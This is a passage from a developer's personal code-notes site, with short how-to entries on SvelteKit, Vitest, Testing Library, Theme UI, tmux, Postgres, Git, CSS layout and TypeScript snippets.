@storybook/addon-interactions - Debug play functions
storybook-addon-paddings - Add padding around stories
@storybook/addon-themes - Theme switching

Testing with Storybook

Stories can be reused in unit tests using composeStories:

// MyComponent.test.tsx
import { composeStories } from '@storybook/react'
import { render, screen } from '@testing-library/react'
import * as stories from './MyComponent.stories'

const { Default, WithData } = composeStories(stories)

test('renders default state', () => {
  render(<Default />)
  expect(screen.getByText('Hello')).toBeInTheDocument()
})

test('renders with data', () => {
  render(<WithData />)
  expect(screen.getByText('Data loaded')).toBeInTheDocument()
})

Styled Components

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Basic component

import styled from 'styled-components'

interface ComponentProps {}

export const Component = styled.div<ComponentProps>``

Tip

You can get the props at the top of the component so you don't have to do it in every property that needs them, avoiding all the copy pasting.

import styled, { css } from 'styled-components'

// 👎 instead of getting the props in every line:
const Post = styled.article`
  font-size: ${(props) => props.theme.fontSizes.md};
  color: ${(props) => props.theme.colors.bodyText};
`

// 👍 get them once at the root to make your code cleaner
const Post = styled.article`
  ${({ theme }) =>
    css`
      font-size: ${theme.fontSizes.md};
      color: ${theme.colors.bodyText};
    `}
`

h/t https://twitter.com/NikkitaFTW/status/1262423045874089990

Even better version:

import styled, { css } from 'styled-components'

const Post = styled.article(
  ({ theme }) => css`
    font-size: ${theme.fontSizes.md};
    color: ${theme.colors.bodyText};
  `
)

SvelteKit

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Routing file structure

├─ src
│  ├─ routes
│  │  ├─ +page.svelte          # /
│  │  ├─ +layout.svelte        # Root layout
│  │  ├─ about
│  │  │  ├─ +page.svelte       # /about
│  │  ├─ blog
│  │  │  ├─ +page.svelte       # /blog
│  │  │  ├─ [slug]
│  │  │  │  ├─ +page.svelte    # /blog/:slug
│  │  │  │  ├─ +page.server.ts

Page data loading

`+page.server.ts` (server-only)

import type { PageServerLoad, Actions } from './$types'
import { redirect, fail } from '@sveltejs/kit'

export const load: PageServerLoad = async ({ params, locals }) => {
  const { supabase, session } = locals

  if (!session) {
    redirect(303, '/login')
  }

  const { data: posts } = await supabase
    .from('posts')
    .select('*')
    .eq('user_id', session.user.id)

  return { posts }
}

export const actions: Actions = {
  create: async ({ request, locals }) => {
    const formData = await request.formData()
    const title = formData.get('title') as string

    if (!title) {
      return fail(400, { title, missing: true })
    }

    const { error } = await locals.supabase
      .from('posts')
      .insert({ title, user_id: locals.session?.user.id })

    if (error) {
      return fail(500, { message: error.message })
    }

    redirect(303, '/posts')
  },
}

`+page.ts` (runs on server and client)

import type { PageLoad } from './$types'

export const load: PageLoad = async ({ fetch, params }) => {
  const response = await fetch(`/api/posts/${params.slug}`)
  const post = await response.json()
  return { post }
}

Using data in the page

<script lang="ts">
  import type { PageData } from './$types'

  export let data: PageData
</script>

<ul>
  {#each data.posts as post}
    <li>{post.title}</li>
  {/each}
</ul>

Layouts

<!-- +layout.svelte -->
<script lang="ts">
  import type { LayoutData } from './$types'

  export let data: LayoutData
</script>

<nav>
  <a href="/">Home</a>
  <a href="/about">About</a>
</nav>

<slot />

Form actions

<!-- +page.svelte -->
<script lang="ts">
  import { enhance } from '$app/forms'
  import type { ActionData, PageData } from './$types'

  export let data: PageData
  export let form: ActionData
</script>

<form method="POST" action="?/create" use:enhance>
  <input name="title" value={form?.title ?? ''} />
  {#if form?.missing}
    <p class="error">Title is required</p>
  {/if}
  <button type="submit">Create</button>
</form>

API routes

// src/routes/api/posts/+server.ts
import { json } from '@sveltejs/kit'
import type { RequestHandler } from './$types'

export const GET: RequestHandler = async ({ url, locals }) => {
  const limit = Number(url.searchParams.get('limit') ?? 10)
  const { data } = await locals.supabase.from('posts').select('*').limit(limit)
  return json(data)
}

export const POST: RequestHandler = async ({ request, locals }) => {
  const body = await request.json()
  const { data, error } = await locals.supabase.from('posts').insert(body).select()

  if (error) {
    return json({ error: error.message }, { status: 500 })
  }

  return json(data, { status: 201 })
}

Client-side only code

Use $app/environment to check if code is running in the browser:

<script>
  import { onMount } from 'svelte'
  import { browser } from '$app/environment'

  onMount(() => {
    // This only runs in the browser
    document.querySelector('.test')
  })

  // Or check explicitly
  if (browser) {
    console.log('Running in browser')
  }
</script>

Importing client-side libraries

For libraries that expect the DOM to be available:

<script>
  import { onMount } from 'svelte'

  let Chart

  onMount(async () => {
    const module = await import('chart.js')
    Chart = module.default

    // Use Chart here...
  })
</script>

Hooks

// src/hooks.server.ts
import type { Handle } from '@sveltejs/kit'

export const handle: Handle = async ({ event, resolve }) => {
  // Run before every request
  const session = await getSession(event.cookies)
  event.locals.session = session

  const response = await resolve(event)
  return response
}

Environment variables

// Server-only (has access to private vars)
import { SECRET_KEY } from '$env/static/private'
import { env } from '$env/dynamic/private'

// Client-safe (only PUBLIC_ prefixed vars)
import { PUBLIC_API_URL } from '$env/static/public'
import { env } from '$env/dynamic/public'

Preloading

<script>
  import { preloadData } from '$app/navigation'
</script>

<a
  href="/blog/my-post"
  on:mouseenter={() => preloadData('/blog/my-post')}
>
  Read post
</a>

<!-- Or use data-sveltekit-preload-data -->
<a href="/blog/my-post" data-sveltekit-preload-data="hover">
  Read post
</a>

Testing library

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Types of queries (docs)

Single elements

getBy...: Returns the matching node for a query, and throw a descriptive error if no elements match or if more than one match is found (use getAllBy instead if more than one element is expected).
queryBy...: Returns the matching node for a query, and return null if no elements match. This is useful for asserting an element that is not present. Throws an error if more than one match is found (use queryAllBy instead if this is OK).
findBy...: Returns a Promise which resolves when an element is found which matches the given query. The promise is rejected if no element is found or if more than one element is found after a default timeout of 1000ms. If you need to find more than one element, use findAllBy.

Multiple Elements

getAllBy...: Returns an array of all matching nodes for a query, and throws an error if no elements match.
queryAllBy...: Returns an array of all matching nodes for a query, and return an empty array ([]) if no elements match.
findAllBy...: Returns a promise which resolves to an array of elements when any elements are found which match the given query. The promise is rejected if no elements are found after a default timeout of 1000ms.
- findBy methods are a combination of getBy* queries and waitFor. They accept the waitFor options as the last argument (i.e. await screen.findByText('text', queryOptions, waitForOptions))

Frameworks

React

npm install --save-dev @testing-library/react

import { render, screen } from '@testing-library/react'
import userEvent from '@testing-library/user-event'
import Fetch from './fetch'

test('loads and displays greeting', async () => {
  // Setup userEvent instance (recommended over calling methods directly)
  const user = userEvent.setup()

  // ARRANGE
  render(<Fetch url="/greeting" />)

  // ACT
  await user.click(screen.getByText('Load Greeting'))
  await screen.findByRole('heading')

  // ASSERT
  expect(screen.getByRole('heading')).toHaveTextContent('hello there')
  expect(screen.getByRole('button')).toBeDisabled()
})

Common userEvent actions

const user = userEvent.setup()

await user.click(element)
await user.dblClick(element)
await user.type(input, 'Hello World')
await user.clear(input)
await user.selectOptions(select, ['option1', 'option2'])
await user.keyboard('{Enter}')
await user.tab()
await user.hover(element)
await user.unhover(element)

Cypress

Install

npm install --save-dev @testing-library/cypress

Add this line to your project's cypress/support/commands.js:

import '@testing-library/cypress/add-commands'

cy.findAllByText('Jackie Chan').click()
cy.findByText('Button Text').should('exist')
cy.findByText('Non-existing Button Text').should('not.exist')
cy.findByLabelText('Label text', { timeout: 7000 }).should('exist')

// findAllByText _inside_ a form element
cy.get('form').findByText('Button Text').should('exist')
cy.get('form').then((subject) => {
  cy.findByText('Button Text', { container: subject }).should('exist')
})

Theme UI

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Theme spec

https://theme-ui.com/theme-spec

The `sx` prop

With Theme UI v0.15+, you no longer need the JSX pragma. Just use the ThemeUIProvider:

import { ThemeUIProvider } from 'theme-ui'
import { theme } from './theme'

const App = () => (
  <ThemeUIProvider theme={theme}>
    <div sx={{ color: 'primary', bg: 'background' }}>Hello</div>
  </ThemeUIProvider>
)

For TypeScript, add to your tsconfig.json:

{
  "compilerOptions": {
    "jsxImportSource": "theme-ui"
  }
}

Legacy JSX pragma (older versions)

/** @jsx jsx */
import { jsx } from 'theme-ui'

Packages and methods

useThemeUI

https://theme-ui.com/use-theme-ui

import { useThemeUI } from 'theme-ui'

export const MyComponent = () => {
  const { theme, colorMode, setColorMode } = useThemeUI()
  return <pre>{JSON.stringify(theme, null, 2)}</pre>
}

Using custom theme object values in `sx` prop

Use the variant key as documented here.

// your theme object
const theme = {
  motion: {
    defaultTransition: {
      transition: 'all 300ms ease-in-out',
    },
  },
}

// use the `variant` key
const Link = () => <a sx={{ variant: 'motion.defaultTransition' }}>Click me</a>

// could also do this
const Link = () => (
  <a sx={{ transition: (theme) => theme.motion.defaultTransition.transition }}>
    Click me
  </a>
)

@theme-ui/color

https://theme-ui.com/packages/color

import { darken, lighten } from '@theme-ui/color'

const Card = (props) => (
  <div
    {...props}
    sx={{
      color: darken('primary', 0.25),
      bg: lighten('primary', 0.875),
    }}
  />
)

Using TypeScript

Adding an sx prop to a custom component

This example allows a user to pass an sx prop to a child component. In order to do that, you'll need an interface from theme-ui: SxStyleProp

import React, { FunctionComponent } from 'react'
import { SxStyleProp } from 'theme-ui'
import { Heading } from 'theme-ui'

type HeadingTags = 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6'

interface MassiveTitleProps {
  sx?: SxStyleProp
  as?: HeadingTags
}

export const MassiveTitle: FunctionComponent<MassiveTitleProps> = ({
  sx,
  as = 'h1',
  children,
}) => {
  return (
    <Heading
      as={as}
      sx={{
        color: 'primary',
        ...sx,
      }}
    >
      {children}
    </Heading>
  )
}

Tips

Object styles

https://theme-ui.com/guides/object-styles
https://emotion.sh/docs/object-styles

Reference the theme within

{
  mx: theme => `-${theme.space[2]}`,
},

Pseudo elements

{
  "::before": {
    content: '""',
    display: 'block',
    width: 32,
    height: 32,
    backgroundColor: 'tomato',
  }
}

tmux

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Command	Description
`tmux`	Start a new session
`tmux new -s <name>`	Start a new session with a name
`tmux ls`	List all sessions
`tmux attach -t <name>`	Attach to a named session
`tmux kill-session -t <name>`	Kill a named session
`tmux kill-session -a`	Kill all sessions except current
`tmux kill-server`	Kill the tmux server and all sessions

Key Bindings (prefix: `Ctrl+b`)

Sessions

Key	Description
`d`	Detach from session
`$`	Rename current session
`s`	List/switch sessions interactively
`(`	Move to previous session
`)`	Move to next session

Windows

Key	Description
`c`	Create a new window
`n`	Move to next window
`p`	Move to previous window
`w`	List windows
`f`	Find window by name
`,`	Rename current window
`&`	Kill current window
`0-9`	Switch to window by number

Panes

Key	Description
`%`	Split pane vertically
`"`	Split pane horizontally
`o`	Move to next pane
`q`	Show pane numbers (type number to jump)
`x`	Kill current pane
`z`	Toggle pane zoom (fullscreen)
`!`	Convert pane to window
`{`	Move pane left
`}`	Move pane right
`Space`	Cycle through pane layouts
`Ctrl+↑/↓/←/→`	Resize pane in direction

Copy Mode

Key	Description
`[`	Enter copy mode (scroll/search)
`]`	Paste buffer
`/`	Search forward (in copy mode)
`?`	Search backward (in copy mode)

Misc

Key	Description
`?`	List all key bindings
`t`	Show clock
`:`	Enter command mode

Useful Commands

Command	Description
`:setw synchronize-panes`	Toggle sending input to all panes
`:resize-pane -D 10`	Resize pane down by 10 cells
`:source-file ~/.tmux.conf`	Reload tmux config

Config Snippets (`~/.tmux.conf`)

# Enable mouse support
set -g mouse on

# 256 color support
set -g default-terminal "screen-256color"

# Reload config with prefix + r
bind r source-file ~/.tmux.conf \; display "Reloaded!"

# Vi mode for copy
setw -g mode-keys vi

Vitest

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

`vitest.config.ts`

Vitest can share your Vite config, or you can create a dedicated config.

// vitest.config.ts
import { defineConfig } from 'vitest/config'
import react from '@vitejs/plugin-react'
import tsconfigPaths from 'vite-tsconfig-paths'

export default defineConfig({
  plugins: [react(), tsconfigPaths()],
  test: {
    environment: 'happy-dom', // or 'jsdom'
    globals: true,
    setupFiles: ['./vitest.setup.ts'],
    include: ['**/*.{test,spec}.{js,ts,jsx,tsx}'],
    coverage: {
      provider: 'v8',
      reporter: ['text', 'html'],
    },
  },
})

`vitest.setup.ts`

With `@testing-library/jest-dom`

The modern way to set up jest-dom matchers:

import '@testing-library/jest-dom/vitest'

That's it! The package auto-extends Vitest's expect when you import it.

Additional setup

import '@testing-library/jest-dom/vitest'

// Mock matchMedia if needed
Object.defineProperty(window, 'matchMedia', {
  writable: true,
  value: vi.fn().mockImplementation((query) => ({
    matches: false,
    media: query,
    onchange: null,
    addListener: vi.fn(),
    removeListener: vi.fn(),
    addEventListener: vi.fn(),
    removeEventListener: vi.fn(),
    dispatchEvent: vi.fn(),
  })),
})

Writing tests

import { describe, it, expect, vi, beforeEach } from 'vitest'

describe('MyFunction', () => {
  beforeEach(() => {
    vi.clearAllMocks()
  })

  it('should do something', () => {
    expect(myFunction()).toBe(expected)
  })
})

Mocking

Mock a module

import { vi } from 'vitest'

vi.mock('./myModule', () => ({
  myFunction: vi.fn(() => 'mocked value'),
}))

Spy on a function

const spy = vi.spyOn(object, 'method')
expect(spy).toHaveBeenCalledWith('arg')

Mock timers

beforeEach(() => {
  vi.useFakeTimers()
})

afterEach(() => {
  vi.useRealTimers()
})

it('handles timeout', () => {
  const callback = vi.fn()
  setTimeout(callback, 1000)

  vi.advanceTimersByTime(1000)
  expect(callback).toHaveBeenCalled()
})

Testing React components

import { render, screen } from '@testing-library/react'
import userEvent from '@testing-library/user-event'
import { MyComponent } from './MyComponent'

describe('MyComponent', () => {
  it('handles click', async () => {
    const user = userEvent.setup()
    render(<MyComponent />)

    await user.click(screen.getByRole('button'))

    expect(screen.getByText('Clicked!')).toBeInTheDocument()
  })
})

Inline snapshots

expect(result).toMatchInlineSnapshot(`
  {
    "id": 1,
    "name": "Test",
  }
`)

Running tests

vitest          # Watch mode
vitest run      # Single run
vitest --ui     # UI mode
vitest --coverage # With coverage

JSDoc

Zander Martineau — Thu, 12 Sep 2024 00:00:00 GMT

Functions

/**
 * This is a function.
 *
 * @param {string} n - A string param
 * @param {string} [o] - A optional string param
 * @param {string} [d=DefaultValue] - A optional string param
 * @return {string} A good string
 *
 * @example
 *
 *     foo('hello')
 */

function foo(n, o, d) {
  return n
}

Types

Annotation	Note
`@param {string=} n`	Optional
`@param {string} [n]`	Optional
`@param {(string\|number)} n`	Multiple types
`@param {*} n`	Any type
`@param {...string} n`	Repeatable arguments
`@param {string} [n="hi"]`	Optional with default
`@param {string[]} n`	Array of strings
`@return {Promise<string[]>} n`	Promise fulfilled by array of strings

Variables

/**
 * @type {number}
 */
var FOO = 1

/**
 * @const {number}
 */
const FOO = 1

Typedef

/**
 * A song
 * @typedef {Object} Song
 * @property {string} title - The title
 * @property {string} artist - The artist
 * @property {number} year - The year
 */

/**
 * Plays a song
 * @param {Song} song - The {@link Song} to be played
 */

function play(song) {}

Shorthand

/**
 * A song
 * @typedef {{title: string, artist: string, year: number}} Song
 */

/**
 * Plays a song
 * @param {Song} song - The {@link Song} to be played
 */

function play(song) {}

Other keywords

/**
 * @throws {FooException}
 * @async
 * @private
 * @deprecated
 * @see
 *
 * @function
 * @class
 */

Importing types

/**
 * @typedef {import('./Foo').default} Bar
 */

// or

/** @import { Bar } from "./Foo.js" */

/**
 * @param {Bar} x
 */

function test(x) {}

Get last array item

Zander Martineau — Fri, 01 Dec 2023 00:00:00 GMT

const arr = [1, 2, 3, 4]
const last = arr[arr.length - 1]
console.log(last) // 4

const arr = [1, 2, 3, 4]
const last = arr.at(-1)
console.log(last) // 4

const arr = [1, 2, 3, 4]
const last = arr.findLast((x) => true)
console.log(last) // 4

const arr = [1, 2, 3, 4]
const last = arr.slice(-1)[0]
console.log(last) // 4

Remove array duplicates with Set

Zander Martineau — Fri, 01 Dec 2023 00:00:00 GMT

Using `Set`

const array = ['🐑', 1, 2, '🐑', '🐑', 3]

// Step 1
const uniqueSet = new Set(array)
// Set { '🐑', 1, 2, 3 }

// Step 2
const backToArray = [...uniqueSet]
// ['🐑', 1, 2, 3]

// or Step 1
const uniqueSet = [...new Set(array)]
// ['🐑', 1, 2, 3]

GitHub markdown

Zander Martineau — Mon, 27 Nov 2023 00:00:00 GMT

Markdown alerts

> [!NOTE]
> Highlights information that users should take into account, even when skimming.

> [!TIP]
> Optional information to help a user be more successful.

> [!IMPORTANT]
> Crucial information necessary for users to succeed.

> [!WARNING]
> Critical content demanding immediate user attention due to potential risks.

> [!CAUTION]
> Negative potential consequences of an action.

More info: https://github.com/orgs/community/discussions/16925

Content flow spacing

Zander Martineau — Fri, 17 Nov 2023 00:00:00 GMT

This is used to space content items out

:root {
  --flow-space: 1.4rem;
}

.flow {
  & > * {
    max-width: 65ch; /* Optional max line-width */
  }

  & > * + * {
    margin-block-start: var(--flow-space, 1em);
  }

  :is(h1, h2, h3, blockquote) {
    --flow-space: 2rem;
  }

  :is(h1, h2, h3) + * {
    --flow-space: 1rem;
  }
}

<section class="flow">
  <h1>Content flow spacing</h1>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  </p>
  <h2>h2. heading</h2>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  </p>
  <h3>h3. heading</h3>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  </p>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
</section>

Flexible content without wrapper divs

Zander Martineau — Fri, 17 Nov 2023 00:00:00 GMT

Based on this article by Ryan Mulligan

.content {
  --content-max-width: 900px;
  --content-breakout-width: 2rem;
  display: grid;
  grid-template-columns:
    /* prettier-ignore */
    [full-start] 1fr
    [breakout-start] var(--content-breakout-width)
    [content-start] minmax(min-content, var(--content-max-width))
    [content-end] var(--content-breakout-width)
    [breakout-end] 1fr [full-end];

  > * {
    grid-column: content;
  }

  .content-breakout {
    grid-column: breakout;
  }

  .content-full {
    grid-column: full;
  }

  .content-callout {
    padding: 1rem;
    background-color: #ddd;
  }
}

<section class="content">
  <h1>Flexible content without wrapper divs</h1>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
  <p class="content-breakout content-callout">
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  </p>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
  <img
    src="https://images.unsplash.com/photo-1682687220211-c471118c9e92?q=80&w=2970&auto=format&fit=crop&ixlib=rb-4.0.3&ixid=M3wxMjA3fDF8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D"
    class="content-full"
  />
  <p class="content-callout">
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  </p>
  <p>
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  </p>
</section>

Alternate solution for full-bleed content

From this article by Andy Bell

.full-bleed {
  width: 100vw;
  margin-left: calc(50% - 50vw);
}

See the Pen{' '} <a href="https://codepen.io/andybelldesign/pen/vYOJjNw"> Piccalilli Demo - Full Bleed Utility </a>{' '} by Andy Bell (<a href="https://codepen.io/andybelldesign">@andybelldesign</a>) on <a href="https://codepen.io">CodePen</a>. </iframe>

Postgres

Zander Martineau — Fri, 10 Nov 2023 00:00:00 GMT

Install

brew install postgresql@15
fish_add_path /opt/homebrew/opt/postgresql@15/bin

Tables

Create table

CREATE TABLE public.tags (
    id serial PRIMARY KEY,
    name text UNIQUE NOT NULL
);

Drop table

DROP TABLE public.tags;

Rename table

ALTER TABLE public.tags RENAME TO public.bookmarks_tags;

Add column

ALTER TABLE public.bookmarks_tags ADD COLUMN tag_id integer REFERENCES public.tags(id) ON DELETE CASCADE;

Junction table

Given a many-to-many relationship between two tables, create a junction table to represent the relationship. This query creates a junction table for a many-to-many relationship between the bookmarks and tags tables.

CREATE TABLE public.bookmark_tag (
  bookmark_id uuid REFERENCES public.bookmarks(id) ON DELETE CASCADE,
  tag_id integer REFERENCES public.tags(id) ON DELETE CASCADE,
  PRIMARY KEY (bookmark_id, tag_id)
);

Create enum

CREATE TYPE status AS ENUM ('active', 'inactive', 'deleted', 'archived', 'draft');

Rename a value in an array

UPDATE bookmarks
SET tags = array_replace(tags, 'open', 'public')

Update a value in all rows

UPDATE table_name
SET column_name = 'column value'

Constraints

List constraints on a table

SELECT *
FROM information_schema.constraint_table_usage
WHERE table_name = 'table_name'

Drop constraint on a table

ALTER TABLE table_name DROP CONSTRAINT table_name_field_fkey;

Backup and restore

Install the libpq CLI tool:

brew install libpq

Add it to your path:

fish_add_path /opt/homebrew/opt/libpq/bin

(I use Fish shell so the above command is for Fish. For Bash, use export PATH="/opt/homebrew/opt/libpq/bin:$PATH")

Database backup & restore

Using pg_dump

Backup DB and content

pg_dump -U postgres -W -h db.******.supabase.co -p 5432 -n public -F t -f db-backup.tar postgres

Only backup DB schemas

Notice the -s flag

pg_dump -U postgres -W -h db.******.supabase.co -p 5432 -s -n public -F t -f db-backup.tar postgres

Restore DB

Using pg_restore

pg_restore -U postgres -W -h db..******..supabase.co -p 5432 -F t -C -d postgres db-backup.tar

Git

Zander Martineau — Thu, 12 Oct 2023 00:00:00 GMT

Staging/Adding files

Add all files from current directory

git add .

Add all files from specific directory

git add <directory>

Branches

Create a local branch and switch to it

git checkout -b <new-branch-name>

Switch to an existing branch

git checkout <branch-name>

# or, since Git 2.23, the clearer switch command
git switch <branch-name>

Switching branches without knowing the name

Git has no built-in interactive branch picker. The closest built-in options are:

# toggle back to the previous branch
git switch -

# shell completion: press tab to list branch names
git switch <TAB>

# list branches with the most recently committed to first
git branch --sort=-committerdate

For an actual fuzzy picker, pipe the branch list through fzf. As a fish function in ~/.config/fish/functions/gsw.fish:

function gsw --description "Fuzzy-switch git branch"
    set -l branch (
        git branch --sort=-committerdate \
            --format='%(refname:short)%09%(committerdate:relative)%09%(contents:subject)' |
        fzf --ansi --delimiter='\t' \
            --with-nth=1,2,3 \
            --preview 'git log --oneline --graph --color=always -20 {1}' |
        string split -f1 \t
    )
    test -n "$branch"; and git switch $branch
end

Run gsw, type a few characters, hit enter. Branches are sorted newest-first and the preview pane shows that branch's recent log. Use git branch -a instead to include remote branches.

lazygit does the same thing with no config: run it, press 3 for the branches panel, then space to check out the highlighted branch.

List all local branches

git branch

List remote and local branches

git branch -a

List all merged branches

git branch --merged

Same as above but exclude master and develop branches

git branch --merged | egrep -v "(^\*|master|main|develop)"

Deleting branches

git branch -d <branch-name>

Delete remote branches

git push origin --delete <branch-name-1> <branch-name-2>

Merging

Merge another branch into current branch

git merge <branch-name>

Rebasing

Rebase from a branch

git rebase <branch-name>

Interactive rebase + squash commits

git rebase -i

# optional branch name
git rebase -i <branch-name>

# when you want to squash 17 commits where some include merge commits
git rebase -i HEAD~17 --rebase-merges

Useful:

https://codeinthehole.com/guides/resolving-conflicts-during-a-git-rebase/
https://thoughtbot.com/blog/git-interactive-rebase-squash-amend-rewriting-history

Logs

Show commit history in single lines

git log --oneline

Fancy Logs

git log --graph --pretty --abbrev-commit --date=relative --branches

Show all local file changes in the working tree

git diff

Cleanup

Undo local modifications to all files

git checkout -- .

Unstage a file

git reset HEAD myfile

Cherry picking

git cherry-pick <commit-hash> <commit-hash>

Undoing

# undo push
git push -f origin HEAD^:<branch-name>

# undo commit
git reset HEAD~1

# undocommitforce
git reset --hard HEAD~1

Rename files

git mv fileName.css filename.css

Config

Run the command git config --global -e to edit the global config

Default branch

In Git 2.28, a new configuration option, init.defaultBranch is being introduced to replace master, the previous default.

git config --global init.defaultBranch main

Or add the following to your global config:

[init]
  defaultBranch = main

Make VS Code your default Git Editor, Diff Tool, or Merge Tool

Add the following to your global config:

[core]
  editor = code --wait
[diff]
  tool = vscode
[difftool "vscode"]
  cmd = code --wait --diff $LOCAL $REMOTE
[merge]
  tool = vscode
[mergetool "vscode"]
  cmd = code --wait $MERGED

More info

`zdiff3` diff format

Use the diff3 format to see common ancestor code in conflict blocks. Added in Git 2.35.

git config --global merge.conflictstyle zdiff3

Or add the following to your global config:

[merge]
  conflictstyle = zdiff3

and then conflict blocks will be formatted like:

<<<<<<<< HEAD:path/to/file
content from target branch
|||||||| merged common ancestors:path/to/file
common ancestor content
========
content from your working branch
>>>>>>> Commit message:path/to/file

where the default conflict block has been extended with a new section, delimited by |||||||| and ========, which reveals the common ancester code.

Comparing the HEAD block to the common ancestor block will often reveal the nature of the target-branch changes, allowing a straight-forward resolution.

For instance, breathe easy if the common ancester block is empty:

<<<<<<<< HEAD:path/to/file
content from target branch
|||||||| merged common ancestors:path/to/file
========
content from your working branch
>>>>>>> Commit message:path/to/file

as this means both branches have added lines; they haven’t tried to update the same lines. You can simply delete the merge conflict markers to resolve.

More info

Generate release notes

These release notes were generated using this script:

git log <commit-hash>...<commit-hash> --pretty=format:'- **%s** ([%h](github.com/mrmartineau/notes.zander.wtf/commit/%H)) by %an' --reverse

To retrieve the git commit hashes use this:

git log --oneline

Useful links

README.md / markdown snippets

Zander Martineau — Thu, 12 Oct 2023 00:00:00 GMT

Header/intro

<div align="center">
  <img
    src="https://raw.githubusercontent.com/organisation/repo/master/assets/opengraph.png"
    width="640"
  />

  <p>
    <a href="https://github.com/Organisation/repo/blob/master/LICENSE">
      <img
        src="https://img.shields.io/badge/license-MIT-blue.svg"
        alt="gatsby-theme-code-notes is released under the MIT license."
      />
    </a>
    <a href="https://www.npmjs.org/package/gatsby-theme-code-notes">
      <img
        src="https://img.shields.io/npm/v/gatsby-theme-code-notes.svg"
        alt="Current npm package version."
      />
    </a>
    <a
      href="https://npmcharts.com/compare/gatsby-theme-code-notes?minimal=true"
    >
      <img
        src="https://img.shields.io/npm/dm/gatsby-theme-code-notes.svg"
        alt="Downloads per month on npm."
      />
    </a>
    <a
      href="https://npmcharts.com/compare/gatsby-theme-code-notes?minimal=true"
    >
      <img
        src="https://img.shields.io/npm/dt/gatsby-theme-code-notes.svg"
        alt="Total downloads on npm."
      />
    </a>
    <img
      src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg"
      alt="PRs welcome!"
    />
    <a href="https://main.elk.zone/toot.cafe/@zander">
      <img
        src="https://img.shields.io/mastodon/follow/90758?domain=https%3A%2F%2Ftoot.cafe"
        alt="Follow @zander"
      />
    </a>
    <a href="https://open.vscode.dev/organization/repository">
      <img
        src="https://open.vscode.dev/badges/open-in-vscode.svg"
        alt="Open in Visual Studio Code"
      />
    </a>
  </p>

  <p>
    <a href="#features">Features</a> •
    <a href="#Installation">Installation</a> • <a href="#usage">Usage</a> •
    <a href="https://code-notes-example.netlify.com/">Demo</a>
  </p>
</div>

Footer

---

## License

[MIT](https://choosealicense.com/licenses/mit/) © [Zander Martineau](https://zander.wtf)

> Made by Zander • [zander.wtf](https://zander.wtf) • [GitHub](https://github.com/mrmartineau/) • [Mastodon](https://main.elk.zone/toot.cafe/@zander)

Notes and warnings

> [!NOTE]
> Highlights information that users should take into account, even when skimming.

> [!IMPORTANT]
> Crucial information necessary for users to succeed.

> [!WARNING]
> Critical content demanding immediate user attention due to potential risks.

More info

Disallow AI bots

Zander Martineau — Wed, 11 Oct 2023 00:00:00 GMT

Add this to your robots.txt file to disallow AI bots from crawling your site:

User-agent: CCBot
Disallow: /

User-agent: ChatGPT-User
Disallow: /

User-agent: GPTBot
Disallow: /

User-agent: Google-Extended
Disallow: /

User-agent: Omgilibot
Disallow: /

User-Agent: FacebookBot
Disallow: /

Nested border radius

Zander Martineau — Tue, 10 Oct 2023 00:00:00 GMT

.panel {
  --radius: 28px;
  --padding: 8px;
  --nested-radius: calc(var(--radius) - var(--padding);
}
.content {
  border-radius: var(--nested-radius);
}

If the element has a border as well:

.panel {
  --border-width: 5px;
  --outer-radius: calc(var(--radius) * var(--unit));
  --outer-padding: calc(var(--padding) * var(--unit));
  --inner-radius: calc(
    (var(--outer-radius) - var(--outer-padding)) - var(--border-width)
  );
  border-radius: var(--nested-radius);
}

TypeScript JSON type

Zander Martineau — Thu, 28 Sep 2023 00:00:00 GMT

type JSONValue =
  | string
  | number
  | boolean
  | null
  | JSONValue[]
  | { [key: string]: JSONValue }

interface JSONObject {
  [k: string]: JSONValue
}
interface JSONArray extends Array<JSONValue> {}

React.forwardRef

Zander Martineau — Fri, 15 Sep 2023 00:00:00 GMT

Example of a component that uses forwardRef:

